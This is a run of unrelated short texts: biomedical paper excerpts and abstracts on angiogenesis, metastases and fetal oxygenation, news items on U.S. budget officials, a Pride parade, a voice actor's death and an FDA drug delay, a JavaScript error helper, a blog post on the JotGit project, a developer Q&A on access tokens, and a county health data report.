--------------------
Results are expressed as the mean ± SEM. Statistical analysis was performed using the Tukey-Kramer HSD test. A p-value less than 0.05 was considered statistically significant.
RESULTS {#s3}
=======
MRBH inhibits VEGF-induced tube formation
-----------------------------------------
We first evaluated the anti-angiogenic effect of MRBH on VEGF-induced tube formation in HUVECs co-cultured with HDF at concentrations of 0.3, 1, and 3 mg/ml. After 10 days of co-culture, the cells were fixed and stained for PECAM-1. Representative images are shown in [Fig. 2(A)](#fig_002){ref-type="fig"}Fig. 2.Effect of MRBH on VEGF-induced tube formation.HUVECs co-cultured with HDF were treated with vehicle (control), VEGF (10 ng/ml), or VEGF plus MRBH (0.3, 1, or 3 mg/ml) for 10 days. After the cells were fixed and stained, the images were photographed (A), and the area, length, joints, and paths of tubes were quantified using an angiogenesis image analyzer (B). Scale bars, 100 μm. Data in B are presented as the mean ± SEM (n=4). Means not sharing a common letter are significantly different (p\<0.01).. Quantitative analysis indicated that MRBH dose-dependently inhibited VEGF-induced capillary-like structure formation including the area, length, joint, and path of tubes ([Fig. 2(B)](#fig_002){ref-type="fig"}).
MRBH inhibits VEGF-induced cell proliferation
---------------------------------------------
Next, we investigated the effect of MRBH on HUVEC proliferation using the MTT assay. VEGF at 10 ng/ml increased cell proliferation to 135% that of the control ([Fig. 3](#fig_003){ref-type="fig"}Fig. 3.Effect of MRBH on VEGF-induced cell proliferation.HUVECs were treated with vehicle (control), VEGF (10 ng/ml), VEGF plus MRBH (0.3, 1, or 3 mg/ml), or MRBH alone (0.3, 1, or 3 mg/ml) for 72 hr. Cell proliferation was estimated by the MTT assay. Data are presented as the mean ± SEM (n=4). Means not sharing a common letter are significantly different (p\<0.01).). MRBH suppressed the VEGF-induced increase in proliferation in a concentration-dependent manner and had a significant effect at a concentration of 1 mg/ml. MRBH alone also decreased cell proliferation but to a lesser extent than in the presence of VEGF. No significant difference was observed among the three concentrations (0.3, 1, and 3 mg/ml) of MRBH alone.
MRBH inhibits VEGF-induced cell migration
-----------------------------------------
The effect of MRBH on HUVEC migration was examined in a wound-healing assay. Confluent monolayers of HUVECs on collagen-coated 12-well plates were scratch wounded and treated with vehicle (control), VEGF (10 ng/ml), VEGF plus MRBH (0.3, 1, or 3 mg/ml), or MRBH alone (0.3, 1, or 3 mg/ml) for 21 hr. Images were then taken ([Fig. 4(A)](#fig_004){ref-type="fig"}Fig. 4.Effect of MRBH on VEGF-induced cell migration.VEGF-induced migration of HUVECs was examined in a wound-healing assay. After the wounded HUVECs were treated with vehicle (control), VEGF (10 ng/ml), VEGF plus MRBH (0.3, 1, or 3 mg/ml), or MRBH alone (0.3, 1, or 3 mg/ml) for 21 hr, images were taken (A), and the number of cells migrating into the wounded region was counted (B). Scale bars, 100 μm. Data in B are presented as the mean ± SEM (n=4). Means not sharing a common letter are significantly different (p\<0.01).), and the number of cells that migrated into the wounded region was counted ([Fig. 4(B)](#fig_004){ref-type="fig"}). As shown in [Fig. 4(B)](#fig_004){ref-type="fig"}, migration of HUVECs in the presence of VEGF was increased to 2.4-fold that of the control. MRBH significantly inhibited this VEGF-induced migration at a concentration of 1 mg/ml, while MRBH alone had no significant effect on cell migration.
Effect of MRBH on VEGF-induced phosphorylation of VEGFR2 and downstream signaling proteins
------------------------------------------------------------------------------------------
To determine whether the anti-angiogenic effects of MRBH corresponded with the suppression of VEGFR2 and downstream signaling proteins Akt, ERK1/2, and p38, we assessed the effects of MRBH on VEGF-induced phosphorylation of these proteins in HUVECs by western blot analysis.
HUVECs were pretreated with vehicle or MRBH (3 mg/ml) for 30 min and then treated with or without VEGF (10 ng/ml) for 15 min. VEGF (10 ng/ml) treatment significantly increased the phosphorylation of VEGFR2, Akt, ERK1/2, and p38. MRBH (3 mg/ml) treatment alone caused no significant change in the expression of these proteins compared with the control. However, pretreatment with MRBH (3 mg/ml) significantly decreased the VEGF-induced phosphorylation of these proteins ([Fig. 5](#fig_005){ref-type="fig"}Fig. 5.Effect of MRBH on VEGF-induced phosphorylation of VEGFR2 and downstream signaling proteins.HUVECs were pretreated with vehicle or MRBH (3 mg/ml) for 30 min and then treated with or without VEGF (10 ng/ml) for 15 min. Phosphorylation of VEGFR2, Akt, ERK1/2, and P38 in whole cell lysates was determined by western blot analysis. (A) Data are representative of three individual experiments with identical conditions. (B--E) Band intensities were quantified and represented as a bar graph. Data are presented as the mean ± SEM (n=3). Means not sharing a common letter are significantly different (p\<0.05 for C and D; p\<0.01 for B and E).).
DISCUSSION {#s4}
==========
Angiogenesis is implicated in diverse pathological conditions including cancer and chronic inflammation such as rheumatoid arthritis and psoriasis \[[@r2], [@r4],[@r5],[@r6],[@r7]\]. In this study, we found that MRBH has inhibitory effects on angiogenesis *in vitro*. Our results concerning anti-angiogenic mechanisms suggest that MRBH suppresses VEGF-induced activation of VEGFR2 as well as the downstream signaling proteins Akt, ERK1/2, and p38 ([Fig. 5](#fig_005){ref-type="fig"}).
Earlier studies indicated that MRBH exerts anti-tumor effects in animal models \[[@r22], [@r35], [@r36]\] and human patients \[[@r25], [@r37]\] through the enhancement of NK activity \[[@r20],[@r21],[@r22], [@r35]\], an increase in the T and B cell mitogen response \[[@r18]\], the augmentation of macrophage phagocytosis \[[@r23]\], and the promotion of dendritic cell maturation \[[@r24],[@r25],[@r26],[@r27]\]. It was also shown to have anti-inflammatory effects, with observed protective actions in acute liver injury in rats \[[@r29]\] and improvement effects on chronic rheumatism \[[@r30]\] and IBS \[[@r31]\] in humans.
CD95 (Fas/ APO-1) is a death receptor that belongs to the tumor necrosis factor receptor (TNFR) superfamily \[[@r38]\]. MRBH has been reported to sensitize leukemia cells to apoptosis mediated by the anti-CD95 antibody. MRBH treatment had no effect on the level of expression of CD95, but it caused downregulation of expression of B-cell lymphoma 2 (Bcl-2), which has been shown to protect the cells from apoptosis induced by diverse agents \[[@r39]\]. DEC-205 is a dendritic and epithelial cell receptor with a molecular weight of 205 kDa and belongs to the macrophage mannose receptor family of C-type lectin endocytic receptors \[[@r40]\]. Previous studies have demonstrated that MRBH enhances generation of cytotoxic CD8+ T cells via upregulation of DEC-205 expression on DCs \[[@r27]\]. MRBH also upregulates the expression of co-stimulatory molecules CD83 and CD86, which are expressed on mature DCs \[[@r26]\]. MRBH-stimulated DCs cause increased production of pro-inflammatory and immunoregulatory cytokines, including interleukin (IL)-1β, IL-6, IL-10, TNF-α, IL-12p40, IL-12p70, IL-2, and interferon lambda 1 (INF-λ1/IL-29/type III interferon) \[[@r26], [@r27]\]. In addition, MRBH has been shown to enhance the production of IL-12 and IFN-γ in 30 multiple myeloma patients \[[@r25]\]. However, it was unclear whether MRBH influences angiogenesis.
Angiogenesis is a multistep process including the proliferation, migration, and tube formation of endothelial cells \[[@r1]\]. The central regulator of angiogenesis is VEGF, a potent mitogen for vascular endothelial cells derived from arteries, veins, and lymphatics \[[@r3], [@r9], [@r10]\]. VEGF plays a prominent role in normal and abnormal angiogenesis, mainly by stimulating vascular endothelial cell proliferation, increasing vascular permeability, and promoting the survival and migration of endothelial cells \[[@r3], [@r8], [@r11]\].
In this study, we found that MRBH significantly inhibits VEGF-induced tube formation in HUVECs co-cultured with HDF ([Fig. 2](#fig_002){ref-type="fig"}). We also observed that MRBH significantly suppresses the VEGF-induced proliferation ([Fig. 3](#fig_003){ref-type="fig"}) and migration ([Fig. 4](#fig_004){ref-type="fig"}) of HUVECs. These results suggest that MRBH exerts anti-angiogenic effects *in vitro* by inhibiting the proliferation and migration of HUVECs.
Recent studies have demonstrated that VEGF mediates its angiogenic activity mainly through the tyrosine kinase receptor VEGFR2, while the VEGF/VEGFR2 pathway is thought to be the main signaling pathway of angiogenesis \[[@r5], [@r13],[@r14],[@r15]\]. Survival signaling from VEGFR2 is mainly transduced through the phosphoinositide 3-kinase (PI3 K)/Akt pathway, in which Akt is recognized as a critical regulator \[[@r9], [@r17], [@r41]\]. Akt is considered to be a key downstream kinase in the VEGF signaling cascades because of its roles in survival, proliferation, and migration of endothelial cells \[[@r9], [@r17], [@r41], [@r42]\].
The binding of VEGF to VEGFR2 results in VEGFR2 dimerization and the autophosphorylation of the Tyr1175 residue, which is crucial for VEGF-dependent endothelial cell proliferation \[[@r43]\]. VEGFR2 activation leads to the activation of both ERK1/2 and p38 MAPK pathways \[[@r8], [@r9]\]. ERK1/2 plays an important role in cell proliferation \[[@r8], [@r15]\], whereas p38 MAPK is implicated in vascular permeability, actin organization, and cell migration \[[@r8], [@r16], [@r44], [@r45]\].
Our exploration of the anti-angiogenic mechanism of MRBH shows that MRBH pretreatment significantly decreased the VEGF-induced activation of VEGFR2 in HUVECs ([Fig. 5(B)](#fig_005){ref-type="fig"}). This inhibition of a key receptor represents a mechanism for the suppression effects of MRBH on cell proliferation, migration, and tube formation. MRBH was reported to be partially absorbed from the gut into the blood after oral intake of MRBH in mice \[[@r46]\]. The results from this study suggest that MRBH might directly inhibit VEGF binding to VEGFR2 in HUVECs, leading to suppression of the VEGFR2 phosphorylation. Additionally, MRBH pretreatment significantly inhibited VEGF-induced phosphorylation of the downstream signaling proteins Akt, ERK1/2, and p38 ([Fig. 5(C--E)](#fig_005){ref-type="fig"}), suggesting that the influence of MRBH on cell proliferation might be through the PI3 K/Akt and ERK1/2 pathways following VEGFR2 activation. On the other hand, the observed inhibition of VEGF-induced migration by MRBH may be partly due to the reduction of VEGF-induced p38 activation, because p38 activated by VEGFR2 is involved in cell migration \[[@r8], [@r15]\].
VEGF is upregulated in many tumors \[[@r3]\] and contributes to the development of solid tumors by promoting tumor angiogenesis \[[@r3], [@r8]\]. Our findings of the inhibitory effects of MRBH on VEGF-induced angiogenesis are in agreement with previous reports concerning the anti-tumor activity of MRBH \[[@r22], [@r25], [@r35],[@r36],[@r37]\]. The anti-angiogenic activity of MRBH could contribute to its tumor suppression effects, as well as its anti-inflammatory effects on humans with chronic rheumatism \[[@r30]\] and IBS \[[@r31]\] and on acute liver injury in rats \[[@r29]\].
In conclusion, to our knowledge, this is the first study to demonstrate that MRBH has inhibitory effects on angiogenesis *in vitro*. The observed inhibition of VEGFR2 and downstream signaling proteins Akt, ERK1/2, and p38 is a possible anti-angiogenic mechanism. Moreover, the effects of MRBH on tumor growth \[[@r25], [@r35],[@r36],[@r37]\] and inflammation \[[@r29],[@r30],[@r31]\] reported previously might also be associated with its anti-angiogenic activity. Our findings suggest that MRBH might be effective in the treatment of angiogenesis-related diseases, and this requires further study.
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The White House said Tuesday that Jeffrey D. Zients, reportedly a candidate to become the new U.S. trade representative, will remain as acting director of the Office of Management and Budget until the Senate confirms a new director.
White House spokesman Jay Carney said the Obama administration does not expect trouble with the confirmation of Sylvia Mathews Burwell to the OMB post but that Zeints will stay on the job there as the office navigates numerous budget issues.
“It is the case that confirmations take a certain amount of time, even when they’re smooth, and this is an enormously important agency, especially at this time,” Carney said. “The president has asked Jeff Zients to continue as acting director of OMB. He has been just an enormously valuable player on the president’s economic team.”
The Obama administration is in the midst of numerous highly complicated budget actions: The White House has said it expects to deliver its fiscal 2014 budget, already several weeks late, the week of April 8. At the same time, OMB is working with federal agencies on implementation of the budget cuts under sequester that took effect March 1.
Carney said the White House does not expect trouble with Burwell’s confirmation for the OMB post. So far, Republican senators have not raised any serious objections. Although she has been formally nominated, the Senate has not begun consideration of her nomination.
Burwell, president of the Walmart Foundation, served as deputy director of OMB during the Clinton administration.
If confirmed, she would come to the White House at a difficult time as the administration tries to navigate its way around the current series of budgetary disputes and the need to address raising the debt limit this summer.
Zients has been acting OMB director since early 2012, when Jacob J. Lew, now Treasury secretary, resigned as budget director to become Obama’s chief of staff. |
const SemanticReleaseError = require('@semantic-release/error');
const ERROR_DEFINITIONS = require('./definitions/errors');
module.exports = (code, ctx) => {
const {message, details} = ERROR_DEFINITIONS[code](ctx);
return new SemanticReleaseError(message, code, details);
};
|
Gay Pride fills the city streets
SOLDIERS, nuns, children and chavs went on parade yesterday for a riotous opening to a long weekend of Gay Pride in the city. Thousands lined the streets for the annual parade, as the usual disco dollies and Muscle Mary's strutted their stuff on the mile-long extravaganze through the city streets. But some of the faces were new.
SOLDIERS, nuns, children and chavs went on parade yesterday for a riotous opening to a long weekend of Gay Pride in the city.
Thousands lined the streets for the annual parade, as the usual disco dollies and Muscle Mary's strutted their stuff on the mile-long extravaganze through the city streets, But some of the faces were new.
Soldiers in uniform walked alongside hundreds of other marchers from the lesbian, gay and transgender community, a different kind of uniform for the day.
The Army hopes to attract more recruits from the gay and lesbian community - and show it can be gay friendly.
The 10 recruits marched in the parade on the two-mile route through the city centre, watched by thousands of supporters lining the streets ten-deep.
Wearing green fatigues the volunteers, both male and female, were shoulder to shoulder with a colourful mix of transsexuals, transvestites, lesbians and gays many wearing outrageous costumes and very little else.
Muscle Men
Soldiers handed out sweets to the crowd as the Army car travelled along the route, proceeded by a float of muscle men in pink Lycra shorts blowing whistles while gyrating to pumping house music.
Warrant Officer Lutha Magloire, 39, of the Logistics Corps, was at the parade as part of the Army's Diversity Action and Recruitment Team.
Surrounded by a troupe of gay Cupids wearing silver paint and sporting feathered wings and a bow, Warrant Officer Magloire said the Army was determined to show it can be diverse.
"We don't really care what sexual orientation you are if you want to come and join us in the Army," he said.
"I'm not prepared to say if I am gay or not. The Army does not care and does not ask that question to recruits.
"Whether straight or not, it does not really matter."
Warrant Officer Magloire said the army asked for 10 recruits from the North West area to go on the march - and got more than 30 volunteers.
"There has been unbelievable support and it caused an awful lot of conversation.
"The Army reflects society and we must recruit from all sections, so if there is prejudice in society it will be in the Army also.
Represents
"But the Army can only get better the more it represents all the community."
The service has taken part in cultural festivals before, the officer said, but this was a first for the Army taking part in a gay event.
They have also set up a stall in Manchester's famous Gay Village, and are expected to take part in more gay parades in future.
The RAF took part in today's parade for the second year running - with a float featuring the cockpit of a plane.
Only the Navy were not represented - though there were a number of marchers dressed in sailors uniforms.
It was not intended to be a snub from the senior service, officials have said - and event organisers say sailors would be warmly welcomed to join the other forces next year.
Servicemen and women were also joined by more marchers in other uniforms, including the police and fire service.
Gay showbiz star Graham Norton, also at the event, backed the Army's efforts.
Pink tank
He said: "I haven't seen any of the soldiers but good for them. Somebody has got a pink tank on the parade - maybe it should be the Army's."
Festival Director Claire Turner said: "I think its great the Army is coming. They're showing that they welcome gay people and the Army is something gay people can be interested in."
"We hope the Army will have more involvement next year and a float as well," she added.
Up until January 2003, the forces were legally allowed to dismiss gay and lesbian officers.
However, a ruling by the European Court of Human Rights said the ban breached people's right to a private life.
Today's march begins a three day festival also featuring arts, music and sporting events, attracting an estimated 250,000 people to the city. |
The clinical course of lung metastases from breast cancer.
The clinical course of 50 breast cancer patients whose first metastases were found in the lungs was investigated. 18 months after the start of primary treatment 50% of the patients had developed pulmonary metastases (range: 0-81 months). In 23% of patients a solitary, and in 68% more than one, lung metastases were detected. After a median time of 4 months, in 56% of patients the disease had spread to further organs with bone (25%) and liver (17%) being the most frequent sites. First line management of lung metastases employed surgery, endocrine treatment, chemotherapy or a combination of these modalities. In 24% of patients a complete response was achieved, and in 11% a partial response, with an overall response rate of 35%. Median survival from detection of lung metastases was 13 months (range 4-123+). Patients with only a solitary lung metastasis survived for a median of 11.5 months as compared to 10.5 months for patients with more than one pulmonary metastases. Patients with a disease-free interval of more than 18 months survived significantly longer than patients with a disease-free survival of 18 months or less. |
Years ago, in a graduate computer science course, I was tasked with implementing an algorithm for "variational image segmentation by motion detection." The algorithm was, as they say, a doozy. Tersely described over the course of half a dozen papers, it had dozens of subroutines, which when implemented grew to span thousands of lines of MATLAB code. But there was one subroutine, mysteriously called the "numerical upgrading" routine, whose description was mysteriously absent from the scientific record. Without this small but vital routine, the whole marvelous image segmenting machine just sputtered and ground to a halt. Crash! Panic! Woe.
Fortunately, after many late nights, I managed to track down an unpublished technical report that outlined the missing routine (in Japanese, but that's another story). The marvelous machine rumbled to life, images were segmented, and my GPA was saved.
That course taught me many lessons, and one of them was that we have a long way to go toward making scientific work, and particularly scientific code, reproducible. This is one reason we've recently started an open source project called JotGit.
JotGit brings together git, for powerful version control and offline working, with online, collaborative rich text editing. Our aim is to make it easy to use git to track and publish everything related to a scientific paper: the text of the paper itself, the data that goes into the paper, the code used to process the data, and, well, everything else. Here's a quick demo of the prototype:
The code's here on GitHub. JotGit's still a prototype, but we're releasing early and will be releasing often. To make it easy for you to run, host, and hack JotGit yourself, we've built it with the meteor web framework, which is very easy to get running on any Mac or Linux system and has minimal dependencies. Meteor makes it really fun to develop for the real time web, so even if you haven't done any web development before, it's a great way to start!
The big idea behind JotGit is that everyone should be able to contribute to a scientific paper using the tools and processes they love. The scientists who currently use git also tend to write their papers with tools like LaTeX and Markdown, which are text-based and easy to manage with git, but most scientists still use Word documents, which aren't compatible with git. And, unfortunately, there's a steep learning curve from Word to Markdown/LaTeX/git.
This is a problem we know well from our experience running writeLaTeX, an online collaborative editor for LaTeX with a rich text layer that brings WYSIWYG to LaTeX. One of our major goals for writeLaTeX has always been to help LaTeX geeks (like us) collaborate with non-LaTeX geeks (like most of the people we work with). If you're used to writing your papers in LaTeX with powerful scripting, version control, and history features, you probably cringe when someone hands you a Word document. But, if you're used to Word, you probably have the same reaction when someone hands you a bunch of computer code that don't look anything like a paper. With JotGit, we use powerful tools like git, LaTeX, and Markdown on the back end, but we wrap them up in a simple, collaborative, WYSIWYG front end. Ultimately, you can use whichever tools you prefer.
We're excited about the opportunities for collaborating on and sharing scientific papers afforded by a distributed version control system like git. GitHub has really revolutionized open source software with its fork and pull request collaboration model. Can we do the same for the scientific record? What does it mean to "fork" a paper? Right now JotGit works with local git repositories, but soon we'll be hooking it up to GitHub, so we aim to find out.
That's all for now. Watch for more updates soon. There's a short roadmap in the repo with next steps, and if you have any questions, just drop us a line or open up an issue for discussion.
Happy hacking!
View the complete collection of stories for Open Science Week. |
Erik Bauersfeld, Admiral Ackbar Voice Actor in 'Star Wars' Films, Dies at 93
3:41 PM PDT 4/4/2016 by Erik Hayden
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Courtesy of Photofest; Screengrab/Peter Hartlaub
Admiral_Ackbar_erik bauersfeld_Split - H 2016
He also voiced Bib Fortuna in 1983's 'Return of the Jedi.'
Erik Bauersfeld, who memorably voiced the Rebellion's Admiral Ackbar in Return of the Jedi and Star Wars: The Force Awakens , has died. He was 93.
The voice actor and radio drama producer died on Sunday morning at his home in Berkeley, Calif., his manager, Derek Maki, confirmed to The Hollywood Reporter.
In the 1983 space opera, Bauersfeld voiced Ackbar, delivering the iconic line, "It's a trap!" when the fate of the alliance looks grim during the Death Star fleet attack.
He also voiced Jabba the Hutt's staffer Bib Fortuna in the same film. He returned to voice Ackbar in last year's J.J. Abrams-directed blockbuster Star Wars: The Force Awakens .
Bauersfeld's other roles include voice work in last year's Guillermo Del Toro film Crimson Peak and Steven Spielberg's 2001 film A.I. Artificial Intelligence. |
Maternal position during labor: effects on fetal oxygen saturation measured by pulse oximetry.
To determine the effects of maternal left lateral, right lateral, and supine positions during labor on fetal oxygen saturation measured by pulse oximetry. Fetal oxygen saturation measured by pulse oximetry was obtained in 15 laboring women randomly and successively adopting left lateral, supine, and right lateral positions for 10 minutes each. Repeated measures analysis of variance was used for statistical analysis. Changes in fetal oxygen saturation were observed in different maternal positions. The supine position was associated with a lower fetal oxygen saturation than the left lateral position. One supine hypotensive syndrome occurred and was associated with a drop in fetal oxygen saturation. Maternal supine position during labor is associated with a lower fetal oxygen saturation than the left lateral position. |
Q:
Account linked for Actions on Google, which field to keep in DB?
I tested Account Linking using the Simulator. Which field in originalRequest -> data -> user that I can keep? userId or accessToken?
I found that they're always regenerated when the session expires (or by toggling the "Test status: Active"), which makes it impossible to SELECT * FROM User WHERE assistant_client_id = [something].
I know that I can use accessToken to query https://www.googleapis.com/userinfo/v2/me for "real"(?) id, but doing that for every request will add extra time (and Assistant is not exactly patient).
Assuming accessToken will never be reused by others, can I do this?
Store accessToken in my User table.
For subsequent requests, check using accessToken.
If no match, query https://www.googleapis.com/userinfo/v2/me to get id (or email) that I can use to query my table, and I update the accessToken with the latest.
A:
There is currently a bug with the userId field and the Simulator that uses the sessionId under some circumstances, but this should hold true between calls in most cases on actual devices.
If you are using Account Linking, however, this is the far better method. Keep in mind, however, that the accessToken is not an identifier. It is a temporary key to an identifier, as you note. (Sometimes it is a token that contains an identifier, but not in your case.) Access tokens are supposed to have a limited lifetime - typically an hour. There are other cases where you'll get a new accessToken as well, even in less than the timeout period.
While you can be assured that if you see the same accessToken twice you are talking to the same user, you can't assume that the same user will always give you the same accessToken.
Your method is good, but you'll also need to handle cleanup of old access tokens. Possibly create a timeout field, and assume that you can time them out sometime after an hour, or create a second hash from your user to the most recent accessToken and remove an accessToken when it is replaced with another one.
|
The FDA was supposed to complete the review of Afrezza, an insulin therapy used to treat diabetes type 1 and 2 in adults, on Dec. 29, however the action date has been pushed to the end of January.
The move has lifted MannKind's shares more than 7.5% as previously skeptical investors turn more optimistic. As of November 30, some 24% of the Valencia, Calif-based company’s regularly traded shares were held short by investors who believed the drug would be outright rejected and the stock would fall.
Afrezza was denied by the FDA in March, which said at the time it needed more information on the product. In July, however, the FDA accepted a resubmission on the product. |
Transcription
2 About the Report The purpose of this report is to provide a summary of health data specific to Ontario County. Where possible, benchmarks have been given to compare county rates to Upstate New York. About Ontario County Topic Population size, demographics, life expectancy, socioeconomic status and more Health Behaviors Smoking status, diet, physical activity and chronic disease diagnoses Social Determinants of Health Neighborhood accessibility, reported self-health, food insecurity and food deserts Life Expectancy Life expectancy at birth by ZIP code Disparity A comparison of the highest and lowest estimated life expectancy ZIP codes by a number of health outcomes Leading Causes of Death The five leading causes of death and premature death in Ontario County Population Health Measures Sixteen health metrics selected to measure community impact on population health for Ontario County End Notes Information on data sources used throughout the report About FLHSA Who we are Page Number Where comparisons between regions are made throughout the report, the following color code will be used: Ontario County Upstate New York 2
3 About Ontario County 108,975 residents live in Ontario County. White Non-Hispanic, 91% 99,273 are White Non-Hispanic. Population by Age Group Black Non- Hispanic, 2% Hispanic, 4% Other, 3% 31.4% 30.5% 21.6% 16.5% % of households speak a language other than English. More than 640 of those households have Limited English Proficiency (LEP). 11.8% of the population is living with a disability. 3.8% of the labor force is unemployed years is the average life expectancy at birth. Sources: U.S. Census Bureau/American Community Survey Year estimates, NYS Dept. of Labor June 2016, Vital Statistics year estimates. 3
4 About Ontario County More than 12,000 residents 11.5 percent of Ontario County s population live below the federal poverty level according to U.S. Census statistics. As the map illustrates, the concentration of poverty is highest in the City of Geneva. Research shows that lower socioeconomic status (SES) is linked to higher incidence of chronic disease, shorter life expectancy and lower rates of good social, emotional and physical health. 1 Education levels can also predict life expectancy. The Centers for Disease Control and Prevention reports that adults aged 25 without a high school diploma can expect to die nine years sooner than college graduates. 2 Approximately 63 percent of Ontario County residents have at least some form of college experience, compared to 59 percent of New York state residents. Ontario County High school graduate or less, 37% College experience, 31% Bachelors degree or higher, 32% NYS High school graduate or less, 42% College experience, 25% Bachelors degree or higher, 34% All Sources: U.S. Census Bureau/American Community Survey Year Estimates 4
5 Health Behaviors Behavioral and personal lifestyles are important determinants of health. Smoking, poor nutrition and other unhealthy behaviors are linked to adverse health outcomes. Many of the indicators for behavioral lifestyles shown below for Ontario County are similar to Upstate New York Rates. Ontario County Upstate New York Consumes fast food three or more times per week 7.4% 6.3% Consumes one or more sugary drinks daily 21.2% 23.3% Participated in leisure time physical activity in the past 30 days 72.1% 73.7% Current cigarette smoker 17.6% 17.3% In Ontario County, the rate of adult binge drinking (10.0 percent) is significantly lower than the Upstate New York rate (16.2 percent). Binge drinking, according to the CDC, has been associated with unintentional injuries, liver disease, high blood pressure, and poor control of diabetes. 3 Yet despite this, Ontario County has higher rates of both mortality from unintentional injury and physician-diagnosed hypertension compared to Upstate New York. Ontario County Upstate New York Adult Binge Drinking During Past Month 10.0% 16.2% All sources: NYS Expanded Behavioral Risk Factor Surveillance System (ExpBRFSS)
6 Health Behaviors Inactive lifestyles and poor diets may lead to obesity, a risk factor for developing diabetes, hypertension and other chronic illnesses. Estimated rates of obese or overweight adults in Ontario County are similar to Upstate New York. However, there is a slightly higher prevalence of adults with physician diagnosed diabetes in Ontario County (11.2 percent) compared to Upstate New York (9.2 percent). In addition, the rates of adults with physician-diagnosed hypertension in Ontario County (37.6 percent) is significantly higher. Data reveal an estimated 32,000 adults who have hypertension in Ontario County. Ontario County Upstate New York Obese or overweight adults 61.2% 62.2% Physician-diagnosed diabetes 11.2% 9.2% Physician-diagnosed hypertension 37.6% 30.2% For individuals with hypertension, controlling high blood pressure with medication and lifestyle change is critical to avoiding complications such as heart attack, stroke and kidney failure. The individuals who are most at risk for these life threatening events are those who have extremely high blood pressure, known as stage 2 hypertension. As of June 2016, the region s high blood pressure registry showed that more than 71 percent of Ontario County adults with hypertension had their condition under control. For residents whose blood pressure was uncontrolled, 18 percent had stage 2 hypertension. Uncontrolled Hypertension by Status - June % No read in past 12 months 18% Stage 2: 160/ % Stage 1: 140/90-159/99 Sources: ExpBRFSS , Finger Lakes Health Systems Agency (FLHSA) Hypertension Registry, June
7 Social Determinants of Health The physical environment plays an important role in residents ability to engage in physical activity and access nutritious food. Many residents in Ontario County experience indicators of poor environmental health, including at risk populations (i.e. low income) living in a food desert or experiencing food insecurity. Of note, Ontario County has a significantly lower rate of its low income population with low access to food (6.3 percent) compared to Upstate New York (22.4 percent). Ontario County Upstate New York Consider neighborhood suitable for walking and physical activity 93.8% 92.3% Low income living in a food desert 6.3% 22.4% Reported food insecurity in the past 12 months 16.8% 22.7% Approximately one in eight (13.0 percent) Ontario County residents report experiencing 14 or more poor physical health days in the past month. This is compared to 12.3 percent of Upstate New York residents. Sources: ExpBRFSS , United States Dept. of Agriculture Economic Research Service
8 Life Expectancy Although average life expectancy in Ontario County is 78.1 years, how long residents live on average varies by almost 6 years depending on their ZIP code. For example, ZIP code area 14532, Phelps, has an estimated life expectancy of only 74.4 years at birth. By contrast, the county s highest estimated life expectancy, 80.4 years, is found in Victor s ZIP code area. Research has shown that poverty is associated with shorter life expectancy. Residents with lower socioeconomic status are less likely to seek preventative care and to monitor/maintain good health behaviors for a variety of reasons. Source: NYSDOH Vital Statistics year estimates, calculations performed by FLHSA. ZIP codes eligible for highest and lowest ranking were required to have 2,000 residents. Life expectancies for ZIP codes with populations of less than 2,000 residents are unreliable. 8
9 Disparity A comparison of ZIP codes shows that rates for negative health indicators are significantly higher in the ZIP code 14532, Phelps, area. These adverse health outcomes may help explain the reduced life expectancy estimates for Phelps residents. In turn, the reduced rates of negative health outcomes in Victor s ZIP code may be positively influencing residents life expectancy Phelps Victor Prevention Quality Indicators (Adult)* Premature Death (before age 75) 1,610 per 100,000 adults 6,375 per 100,000 population 630 per 100,000 adults 2,679 per 100,000 population Premature Births 12.1% of births 7.6% of births Late or No Prenatal Care 3.7% of births 0.6% of births Teenage Pregnancy Rate 21.6 per 1,000 population 7.5 per 1,000 population *Prevention Quality Indicators (PQI) were developed by the Agency for Healthcare Research and Quality, are based on ICD- 9 coding. PQIs classify conditions that are seen as potentially preventable/avoidable had sufficient care been given in the primary care setting prior to the presentation. This value is a composite of all of the PQIs. Source: Statewide Planning and Research Cooperative System (SPARCS) 2014, Vital Statistics 2014, NYSDOH Perinatal Data Profile
10 Leading Causes of Death Leading causes of death in Ontario County mirror those of Upstate New York. The graph below demonstrates the five leading causes of death. The larger the bubble, the larger the problem in the geographic area. Many of the leading causes of death shown in the figure above can be attributed to chronic diseases such as hypertension and obesity. However, the data below tell a slightly different story for premature death before age 75. Unintentional injury and suicide rank among the top five causes of premature death in Ontario County. Sources: Vital Statistics Premature mortality graph are averages with deaths before age 75. Rankings exclude perinatal deaths. CLRD = Chronic Lower Respiratory Disease. All rates are age/sex adjusted. 10
11 Population Health Measures In 2013, FLHSA convened the Regional Commission on Community Health Improvement. Over 18 months, the Commission engaged leaders from across the region to study and develop ideas for improving the integration of care and addressing the complex medical, behavioral and social needs of vulnerable community residents. The Commission adopted a set of communitywide measures to gauge the region s collective progress toward improved community health. Below are the population health measures selected by the Commission specific to Ontario County. The icons indicate whether the Finger Lakes region is getting better, has remained flat or is getting worse for each measure. Community Measures Ontario County Finger Lakes Region Childhood Immunization Percentage of children receiving recommended immunizations by 36 months 64.5% 64.5% Childhood Obesity Percentage of school children whose weight is at the 95 th percentile or greater 14.8% 16.1% Adult Obesity Percentage of adults 18 years or older with a BMI of 30 or greater 28.8% 27.0% Adult Smoking Percentage of adults who are current smokers 17.6% 17.4% High Blood Pressure Control Percentage of adults with high blood pressure who had their condition under control 71.0% 68.0% Type II Diabetes Control Under development N/A N/A High School Graduation Percentage of students graduating in four years 89.0% 81.2% Sources listed on page
12 Population Health Measures Clinical Measures Ontario County Finger Lakes Region Preventable Hospital Stays (rate per 100,000 population) Number of hospital stays for PQIs 1,088 1,074 Depression Screening Under development N/A N/A ED Visits with Behavioral Health Diagnosis Percentage of all ED patients with a behavioral health diagnosis 7.6% 8.6% ED Visits Among those 65+ (rate per 1,000 population) Number of ED visits that involve adults Day Readmissions with Behavioral Health Diagnoses 30-day hospital behavioral health related readmission rates 13.5% 13.4% Nursing Home Use Number of nursing home days per 1,000 individuals ,332 96,053 Health Outcomes Ontario County Finger Lakes Region Premature Death (rate per 100,000 population) Years of potential life lost before age 65 3,130 3,496 Low Birth Weight Percentage of births with birthweight less than 2500 g/ 5.5 lbs 6.1% 7.8% Good Health Self-Report Percentage of adults reporting excellent, very good or good general health status 92.0% 83.7% Sources listed on page
